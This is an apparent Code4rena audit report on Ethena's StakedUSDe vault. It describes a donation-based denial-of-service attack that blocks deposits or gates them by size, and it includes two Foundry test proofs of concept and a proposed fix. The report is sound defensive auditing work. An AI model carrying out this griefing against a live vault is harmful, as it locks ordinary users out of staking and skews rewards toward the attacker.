Ethena Labs - trachev's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L21-L260

Vulnerability details

Vulnerability Details

To prevent the issue with the first-depositor attack (donation attack as written in the comments of _checkMinShares in StakedUSDe.sol) to the staking vault, the _checkMinShares function is implemented in the StakedUSDe.sol contract when depositing and withdrawing funds. It essentially checks and reverts if the remaining amount of shares (_totalSupply) is greater than 0 and less than MIN_SHARES (= 1 eth). Despite successfully mitigating the issue of first depositors manipulating shares and stealing from other users, it opens an opportunity for another attack. If the first depositor to the StakedUSDe staking vault transfers a small amount of USDe without invoking the deposit function (through a transfer call) the _totalSupply will always be less than the MIN_SHARES which will prevent any user from ever depositing funds into the vault. Even a small amount of 1,000,000 WEI (less than 1$) would prevent any user from depositing an amount of USDe smaller than 10,000,000 ether. The issue occurs, due to the fact that the amount of shares to be minted to a depositor is calculated the following way:

assetsConvertedToShares = assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding)

It is assumed that the totalAssets() (amount of USDe in the vault) will always equal 0 initially, but if a malicious user had previously transferred funds, totalAssets() would return a higher value. Consequently, assetsConvertedToShares would be divided by a higher value, making it less than MIN_SHARES.

Except completely blocking the staking functionality an attacker can prevent only certain users from interacting with the staking vault in order to decrease the number of stakers and increase the amount of rewards they would receive. This is possible by initially transferring a small amount such as 100 wei. After that, only stakers who deposit a minimum amount of 100 ether of USDe would have access to staking.

Impact

Either none or only users with significantly large funds would be able to use the staking vault.

Proof of Concept

Here is a coded POC of the first attack possibility where nobody would be able to stake. Paste it in the StakedUSDe.t.sol testing file. The deposit function is expected to revert with the MinSharesViolation error:

function testExploitFirstDepositorNoAccess() public {
        usdeToken.mint(alice, 10 ether);

        vm.prank(alice);
        usdeToken.transfer(address(stakedUSDe), 1_000_000);

        uint256 bobAmount = 1_000_000 ether;

        usdeToken.mint(bob, bobAmount);

        vm.startPrank(bob);
        usdeToken.approve(address(stakedUSDe), bobAmount);

        vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
        stakedUSDe.deposit(bobAmount, bob);
        vm.stopPrank();
    }

Here is a coded POC for the second attack vector, follow the previous instructions as well. Here Bob's deposit fails because it is less than 100 ether and Alices succeeds because it is 101 ether:

function testExploitFirstDepositorOnlyCryptoWhales() public {
        usdeToken.mint(alice, 10 ether);

        vm.prank(alice);
        usdeToken.transfer(address(stakedUSDe), 100);

        uint256 bobAmount = 90 ether;

        usdeToken.mint(bob, bobAmount);

        vm.startPrank(bob);
        usdeToken.approve(address(stakedUSDe), bobAmount);

        //is not successful
        vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
        stakedUSDe.deposit(bobAmount, bob);
        
        vm.stopPrank();

        uint256 aliceAmount = 101 ether;
        usdeToken.mint(alice, aliceAmount);

        vm.startPrank(alice);
        usdeToken.approve(address(stakedUSDe), aliceAmount);

        //is successful
        stakedUSDe.deposit(aliceAmount, alice);
        vm.stopPrank();
    }

Tools Used

Manual review

Recommended Mitigation Steps

One way of resolving the issue would be to store a variable that indicates whether it is the first deposit to the vault. If it is, then in the _convertToShares function the totalAssets() should be replaced with 0.

Assessed type

DoS